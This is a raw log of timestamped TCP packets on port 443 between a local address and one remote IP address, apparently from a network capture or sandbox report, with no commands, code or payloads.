Dec 27, 2024 10:22:06.309814930 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:06.310455084 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:06.315224886 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:06.315242052 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:06.315309048 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:06.315351009 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:06.318149090 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:06.320542097 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:06.320564032 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:06.320611954 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:06.320641041 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:06.320657969 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:06.320677042 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:06.326232910 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:06.326252937 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:06.326343060 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:06.326370001 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:06.326432943 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:06.331948042 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:06.331969023 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:06.332086086 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:06.332149029 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:06.334481955 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:06.495528936 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:06.495551109 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:06.495603085 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:06.495662928 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:06.495685101 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:06.495721102 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:06.500206947 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:06.500222921 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:06.500272036 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:06.500314951 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:06.500360012 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:06.506263018 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:06.506278992 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:06.506325960 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:06.506355047 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:06.506390095 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:06.510726929 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:06.510740995 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:06.510792017 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:06.510821104 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:06.510869026 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:06.516599894 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:06.516623974 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:06.516702890 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:06.516731024 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:06.516788960 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:06.521862030 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:06.521889925 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:06.521940947 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:06.521964073 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:06.521981001 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:06.522171021 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:06.527652979 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:06.527673006 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:06.527775049 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:06.527802944 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:06.530342102 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:06.533246040 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:06.533267021 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:06.533328056 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:06.533348083 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:06.533361912 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:06.534181118 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:06.697624922 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:06.697649956 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:06.697814941 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:06.697860956 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:06.699013948 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:06.702157021 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:06.702179909 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:06.702258110 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:06.702265978 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:06.707510948 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:06.707551956 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:06.707607031 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:06.707618952 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:06.707632065 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:06.707662106 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:06.713207960 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:06.713243008 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:06.713329077 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:06.713355064 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:06.714122057 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:06.718238115 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:06.718259096 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:06.718359947 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:06.718400002 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:06.720148087 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:06.723743916 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:06.723767042 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:06.723833084 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:06.723843098 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:06.726156950 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:06.729195118 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:06.729213953 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:06.729274035 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:06.729284048 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:06.731193066 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:06.734918118 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:06.734942913 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:06.735003948 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:06.735014915 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:06.740151882 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:06.898317099 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:06.898339987 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:06.898433924 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:06.898484945 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:06.898627996 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:06.903096914 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:06.903115988 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:06.903167963 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:06.903181076 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:06.903208017 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:06.903218985 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:06.908629894 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:06.908647060 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:06.908706903 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:06.908719063 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:06.908756018 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:06.914434910 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:06.914450884 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:06.914534092 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:06.914546967 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:06.914597034 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:06.919435978 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:06.919456959 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:06.919498920 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:06.919508934 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:06.919538021 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:06.919557095 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:06.925102949 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:06.925129890 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:06.925173998 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:06.925193071 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:06.925205946 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:06.925228119 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:06.930516958 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:06.930542946 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:06.930622101 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:06.930672884 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:06.930711031 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:06.936136961 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:06.936161995 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:06.936256886 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:06.936285019 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:06.936323881 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:07.099786043 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:07.099807978 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:07.099914074 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:07.099955082 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:07.099999905 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:07.104435921 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:07.104454994 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:07.104552984 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:07.104584932 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:07.104625940 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:07.110202074 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:07.110220909 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:07.110313892 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:07.110352993 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:07.110394955 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:07.115833044 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:07.115852118 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:07.115947962 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:07.115978003 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:07.116020918 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:07.120896101 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:07.120913982 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:07.120974064 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:07.121000051 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:07.121035099 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:07.127213001 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:07.127233982 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:07.127360106 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:07.127402067 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:07.127444983 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:07.131937027 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:07.131956100 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:07.132056952 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:07.132091045 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:07.132133007 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:07.137598991 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:07.137620926 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:07.137715101 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:07.137748003 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:07.137805939 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:07.301270008 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:07.301295042 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:07.301414967 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:07.301454067 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:07.301495075 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:07.306046009 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:07.306065083 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:07.306157112 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:07.306191921 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:07.306231976 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:07.311911106 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:07.311932087 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:07.312021017 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:07.312055111 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:07.312103033 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:07.317631960 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:07.317665100 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:07.317744970 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:07.317778111 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:07.317819118 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:07.322386980 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:07.322407961 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:07.322482109 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:07.322509050 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:07.322546959 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:07.328459024 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:07.328489065 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:07.328537941 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:07.328567982 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:07.328589916 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:07.328599930 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:07.333645105 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:07.333657980 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:07.333739996 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:07.333761930 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:07.333800077 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:07.339188099 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:07.339204073 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:07.339256048 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:07.339278936 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:07.339292049 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:07.339320898 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:07.502674103 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:07.502698898 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:07.502788067 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:07.502834082 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:07.502891064 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:07.507397890 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:07.507422924 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:07.507488012 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:07.507500887 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:07.507546902 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:07.513086081 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:07.513104916 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:07.513169050 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:07.513189077 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:07.513226986 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:07.518745899 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:07.518764019 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:07.518837929 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:07.518867016 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:07.518910885 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:07.524466038 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:07.524487019 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:07.524538040 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:07.524565935 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:07.524605036 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:07.529809952 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:07.529825926 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:07.529879093 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:07.529913902 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:07.529931068 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:07.529952049 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:07.534807920 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:07.534835100 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:07.534889936 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:07.534898996 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:07.534944057 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:07.540543079 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:07.540566921 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:07.540617943 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:07.540627956 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:07.540668011 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:07.704118013 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:07.704138041 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:07.704298019 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:07.704356909 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:07.704416990 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:07.709263086 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:07.709280968 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:07.709351063 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:07.709362030 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:07.709407091 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:07.712598085 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:07.712654114 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:07.712675095 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:07.712682009 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:07.712723017 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:07.718482018 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:07.718499899 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:07.718684912 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:07.718698978 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:07.718746901 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:07.723980904 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:07.723999977 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:07.724047899 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:07.724059105 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:07.724107027 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:07.729064941 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:07.729085922 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:07.729144096 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:07.729155064 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:07.729197025 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:07.735001087 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:07.735028982 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:07.735085011 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:07.735095978 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:07.735126019 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:07.735141993 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:07.739965916 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:07.739983082 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:07.740045071 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:07.740057945 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:07.740098000 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:07.745805979 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:07.745824099 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:07.745887041 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:07.745899916 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:07.745938063 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:07.909074068 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:07.909094095 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:07.909156084 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:07.909173012 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:07.909210920 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:07.914091110 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:07.914108038 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:07.914172888 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:07.914182901 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:07.914225101 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:07.919689894 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:07.919707060 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:07.919779062 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:07.919789076 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:07.919831038 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:07.925426960 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:07.925443888 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:07.925651073 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:07.925661087 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:07.925723076 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:07.930438995 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:07.930455923 CET	443	49745	172.67.214.186	192.168.2.4
